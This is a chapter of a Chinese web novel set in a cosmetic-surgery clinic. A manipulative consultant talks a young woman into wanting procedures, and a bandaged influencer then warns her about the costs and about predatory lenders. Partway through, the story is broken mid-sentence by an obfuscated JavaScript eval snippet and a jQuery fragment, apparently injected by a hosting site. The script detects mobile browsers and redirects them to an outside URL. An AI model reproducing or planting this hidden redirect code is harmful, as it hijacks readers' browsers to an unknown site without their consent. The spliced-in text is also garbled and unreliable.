在关灵一渴望的眼神中，薇薇安来到她的身后，将她的头部轻柔地转向桌面上的镜子。


    她手里拿着一根银色的笔杆，像是在教学一般，指着关灵一的五官娓娓道来。


    “亲爱的，”薇薇安态度自然地将对关灵一的称呼换成了极为亲密的那一类，“其实你可以不用对自己要求这么苛刻，但是既然你都提出来这个想法了，那我也愿意帮你排忧解难。”


    冰凉的笔杆落到了关灵一的额头，“你看，你的额头饱满，但眉骨高度不够，如果眉骨能高上一点的话，能增加你整体气质的故事感。”


    “看你的眼睛，多么好看的形状啊，”薇薇安手中的笔杆在关灵一的眼角点了下，“不知道你有没有发现，你的眼角内眦皮有点多了？有时候会显得人很没有精神呢。”


    笔杆继续下移。


    薇薇安也依次分析着。


    “你的鼻型很好看，是典型的直鼻，小巧精致，不过五官不能单独去看，你整体的长相风格偏清纯一些，向上微翘一些可能更适合你，直鼻会显得人有点凶相。”


    “至于你的嘴巴，”薇薇安笑道，“一般来说，我是不建议别人动嘴巴这个部位的，很容易做毁，显得很假，也很模板化。”


    “但是从我的角度看来，你有点过于瘦了，口周不够饱满，会有些苦相，你觉得呢？”


    关灵一道：“是有点。”


    薇薇安接着说：“亲爱的，你的脸型挺好的，如果你想要上镜更有立体感，可以先试试注射类的项目改善一下面部折叠度，这能使你整个人变得更加精致。”


    她的话术相当高明，似乎出发点都是为了顾客好。


    但如果真是想要提升颜值的女性，很容易跌入她挖下的无底深坑——


    处处都说你很棒，你很好看，但是处处都能挑出来毛病，并且给出了优化的建议。


    极度渴望变美的人听到改变后的美好未来怎么可能不心动？


    镜子从关灵一面前移走了。


    薇薇安也从她身后离开了，坐回了办公桌后面的椅子上。


    婷婷弯着唇笑道：“薇薇安，你的亲爱的可真多，上次我来的时候，你可没有这么细致地为我规划过。”


    薇薇安抿了口茶，回道：“抱歉，我只是职业病犯了，当看到一个底子很好的漂亮姑娘出现在我的面前，我很难控制住自己想要帮她变得万众瞩目的想法。”


    婷婷佯装生气道：“行呗，就我底子差。”


    薇薇安安慰她道：“我不爱说谎话，你也很美，但是……”


    她和婷婷的视线落在了关灵一的身上，“我从她的身上看到了无限可能。”


    关灵一有些不好意思地低下了头，“别夸啦，我又没钱，再夸我也没那个变美的机会啊！”


    薇薇安和婷婷对视一眼。


    婷婷低下头，隐晦地笑了笑。


    薇薇安从抽屉里拿出一张名片，推到表情有些渴望，但更多的是无奈的关灵一面前。


    “亲爱的，忘记我刚才说的话了吗？维纳斯并非金钱至上的地方，只要你想变美，我们还可以有别的办法，只看你愿不愿意尝试了。”


    她的声音温温柔柔的，像是煽动，又像是蛊惑。


    “只需要改变一点点，人生就会变得不一样，为什么不去试试呢？”


    关灵一看着那黑底烫金的名片陷入了纠结之中。


    “我……”她吞吞吐吐，半天没有说出来其他话。


    婷婷看了眼手机，忽地站起身道：“好啦，今天就先到这里吧，排到我了。”


    她对关灵一道：“我们走吧，别耽误我的事。”


    关灵一将桌面上的名片紧紧攥在掌心，最后看了一眼对面的薇薇安，“好，那我回去再考虑考虑，我先陪婷婷姐去做项目。”


    见她转身出了门，薇薇安和走在后面的婷婷对视一眼，不约而同地露出了心照不宣的笑容。


    从咨询室出来，婷婷带着关灵一坐上电梯去了七楼，她做项目的地方就在这层。


    七楼有专门接待的护士，见婷婷上来了，她态度体贴却不过分热情地迎了上来道：“王雨婷小姐，久等了，您身边这位是陪同的朋友，还是？”


    “可能是维纳斯未来的活招牌呢，”婷婷不咸不淡地说道，“薇薇安都快把她夸出来花了。”


    接待的护士打量着关灵一，说道：“这位小姐的确让人眼前一亮。”


    婷婷道：“小关，看到那边的等候区了吗？你就在那坐着等我吧，有什么需要直接找这边的员工就行。”她伸手指向不远处被屏风隔开的一排沙发。


    “我先进去了。”


    关灵一点了点头，道：“好，我就在那等你出来。”


    婷婷跟着护士走了，关灵一抱着剧本在等候区坐下。


    她有些心不在焉地翻着手中的剧本。


    目前看来，这里只是一个略显特别的医美整形医院，婷婷展现出来的效果虽然惊人，但是目前医疗技术发达，说不定真的有药物能够让人一夜回春。


    或许真的是她想多了？关灵一思忖着。


    但是很快，她的这种自我怀疑就被彻底打破。


    屏风外面传来哒哒的高根鞋走动的声音，关灵一闻声抬头，一个外形奇怪的女人出现在了她的面前。


    她让关灵一下意识想到了在历史书里见到的埃及木乃伊的照片——女人全身上下被白色的绷带紧紧缠绕着，没有露出任何一丝肌肤。


    但她和木乃伊有着些许不同的地方在于脚部。


    埃及的木乃伊应该都是光着脚缠满绷带，而眼前的奇怪女人脚部的绷带下，却能看出明显的高跟鞋形状，一眼望去，显得她的腿像是支着两个尖儿的圆规。


    关灵一很快就反应过来，女人如此奇怪的外形普通人并不能看到，这是自己眼中的异象，属于这个女人的异象。


    似乎是觉察到关灵一时间过于长久的注视，女人忽地开口了。


    “抱歉，是不是打扰到你了？”木乃伊女人的头部微微前倾，关灵一虽然看不到她的眼睛，但也能大概猜出来对方在看自己手中的剧本，“你是演员吗？”


    她的声音很甜却并不腻味，是那种让人听到就会留下很深印象的好听声音。


    关灵一把剧本合上，仰着头对她道：“应该算是兼职演员？”


    木乃伊女人轻笑了一声，关灵一终于能理解小说中‘银铃一样的笑声’是什么样的了。


    她毫不怀疑对方如果去赵倩之前的播客平台注册成为主播后，就算做不出什么有意思的内容，光凭着自身的嗓音都能吸引很多粉丝。


    “演员还有兼职这个说法吗？”木乃伊女人说，“你是短剧演员吧。”


    关灵一点了点头。


    木乃伊女人在她身边落座，同她攀谈了起来。


    “在我前面还有一个人，也不知道要等多久，你呢？你今天来这是要做什么项目？”


    关灵一道：“我不做项目，陪我朋友来的。”


    木乃伊女人沉默了一会儿，说道：“她带你来这里呀？你自己想来的，还是……”


    关灵一眸光闪了闪，脸上陡然露出极其艳羡的神情，她道：“一半一半啦，我朋友最近变漂亮好多，而且还没什么恢复期，我听她介绍了维纳斯这个地方，所以很好奇，就拜托她带我来看看。”


    木乃伊女人正面对着关灵一，应该是在打量她。


    “可是我觉得你很好看啊，”木乃伊女人很认真的说道，“没有什么需要改变的地方，化个妆，上镜足够了。”


    关灵一看着她满身的绷带道：“听起来你并不太赞同通过医美整形手段改变自己的外在？”


    木乃伊女人忽地问道：“你觉得我好看吗？”


    关灵一看不清她的脸，但在维纳斯这个连安检员和护士都是小美的地方，浑身绑满绷带的木乃伊，应该是个绝世大美人吧？


    “……很漂亮。”她一本正经地说道。


    木乃伊女人听到这种夸奖的话并没有太大的反应，应该是太多人对她说类似的话了。


    关灵一应该猜对了。


    对方的反应证明了她就是网上说的那种顶美。


    “我从18岁正式进入直播这个行业就为了上镜更好看而开始整容，”木乃伊女人道，“到现在22岁，这张脸可以称得上是千刀万剐。”


    关灵一睁大了眼睛，“有你说的这么恐怖吗？”


    木乃伊女人说道：“光是眼睛我就调整了不下四次，前些年流行内双，说是会让人有故事感看起来忧郁，这些年又开始流行开扇式啦，最近流行的风格跟这种眼型很搭，没办法，为了能更上镜，更出片，我也得跟着改啊。”


    她伸出绑得有些僵硬的手在自己脸部应该是鼻子的位置指了指。


    “我本身鼻子条件挺好的，就是有点驼峰，做手术的时候医生说鼻尖要翘一点会更好看，所以就连着一起动了，至今为止——”


    木乃伊女人掰着自己的绷带手道：“我返厂重修的次数我数都数


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390876|180991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不过来了，不是发红，就是鼻尖有点顶白，最难受的是自从动了鼻子后我得了鼻炎不说，时不时还会闻到一股子特别臭的味道，从鼻腔里散发的臭味，我躲都没法躲。”


    关灵一问：“上镜和出片有这么重要吗？为了这些付出这么大的代价。”


    木乃伊女人苦笑了一声，道：“那时候年轻，爸妈也不管，我赶上风头因为一条短视频爆火后赚了很多钱，很多人闻着风就来了，我第一次去做眼睛的时候，还是我曾经的圈内闺蜜带着一起去的。”


    “曾经？”


    “做完没多久那家医美整形医院就被爆出来是三无机构，老板都进去坐牢了，因为这我才知道所谓志趣相投的圈内闺蜜不过是看上我手里的钱了，把我介绍去做项目能有很多提成，所以她根本不在乎医院有没有资质，安不安全，这样一来，她自然就成了我人生中的过去式啦。”


    关灵一安静地听着她讲。


    木乃伊女人意识到自己一直在说，可能有些话多，不好意思地道：“一谈到这方面的事，我就控制不住说多了。”


    关灵一道：“没关系，我在这坐着也无聊，能有个人一起聊聊天也挺好的。”


    木乃伊女人道：“你能受得住一次又一次的躺上手术台吗？”


    关灵一摇了摇头，道：“我不敢，不过，带我来的朋友做的并不是动刀子的项目，而是注射类的，应该没那么吓人吧？”


    木乃伊女人道：“那你是没见过前些年打了生长因子的人现在是什么样，要不是手机被收走了，我真想给你看看照片。”


    关灵一问：“生长因子是什么东西？应该不是维纳斯这里的项目吧？”


    “这倒不是，”木乃伊女人幽幽地道，“看来你对维纳斯的项目很信任？”


    关灵一道：“毕竟身边有真实例子。”


    木乃伊女人道：“我来维纳斯这边也有一年多了，勉强算是半个老顾客，以我个人的经历看来，这里的注射类项目目前倒是没发现什么明显的副作用，唯一的缺点可能就是烧钱。”


    她很直白地问关灵一道：“你很有钱吗？”


    关灵一同样直白地回答道：“我很穷。”


    木乃伊女人道：“注射类的项目不可能永远维持最佳的效果，你要每隔一段时间都来补针，我在维纳斯这边一年多的时间花费差不多有四百多万，你没这个经济实力，建议还是……”


    关灵一惊讶道：“这么贵？我朋友花了三十万左右效果就很不错了。”


    木乃伊女人意味深长地道：“再过过你就知道三十万够不够用了。”


    “人的欲望是无穷的，只要开了头，回头就难了。”


    关灵一问她：“你劝我不要走上这条路，可你为什么不选择停下呢？”


    木乃伊女人怔了怔，故作轻松地说道：“我啊？不是跟你说了吗？开了头就没有回头的选项了，我怎么才能停下呢？你可以选择不开始，但我已经走上了这条路，无法回头啦。再说了，我可是公众人物，粉丝那么多，偶像包袱很重的好不好。”


    “而且……”木乃伊女人说道，“虽然我没经历过类似的事，但是我见过。”


    “像你这种没钱又想要变美的年轻女孩，在某些人眼里可是一块香喷喷的肥肉呢。”


    她道：“裸贷啊，卖身□□啊，只要你哪次没把持住，这群人都能蜂拥上来把你分吃干净。”


    “所以说，”木乃伊女人道，“要是你那个朋友想要给你介绍来钱快的活……我建议你还是眼睛放亮点哦。”


    似乎有人来了，关灵一循声望去，婷婷和女护士从手术室里走了出来。


    她的眼神迅速锁定了关灵一的位置，而后转移，落在了她身边的木乃伊女人身上。


    关灵一起身道：“我朋友出来了。”


    木乃伊女人站起身，看了眼关灵一，向着婷婷的所在的方向走去。


    两人在病房门口擦肩而过。


    护士说道：“让您久等了，于清河小姐，这间手术室需要消毒，麻烦您跟着我移步另外的地方。”


    婷婷走到关灵一身边，拧开一瓶玻璃瓶装着的水，看向木乃伊女人的背影，状似无意地问道：“你们刚才在聊些什么呢？”


    关灵一道：“没什么，就是聊起你打得这个针很贵。”


    听到这话，婷婷不置可否地笑了笑，“她会觉得贵？”


    “雪代薰可是近些年最火的大网红，身价上亿，还要哭穷啊？她说的话你听听就当个笑话忘了吧。”